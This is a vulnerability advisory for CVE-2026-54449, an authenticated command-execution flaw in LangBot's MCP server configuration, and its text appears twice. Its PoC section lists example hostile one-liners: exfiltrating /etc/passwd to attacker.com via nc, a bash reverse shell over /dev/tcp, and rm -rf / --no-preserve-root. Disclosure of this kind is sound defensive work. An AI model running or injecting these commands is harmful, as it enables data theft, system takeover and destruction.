1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.1.0
initial
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev |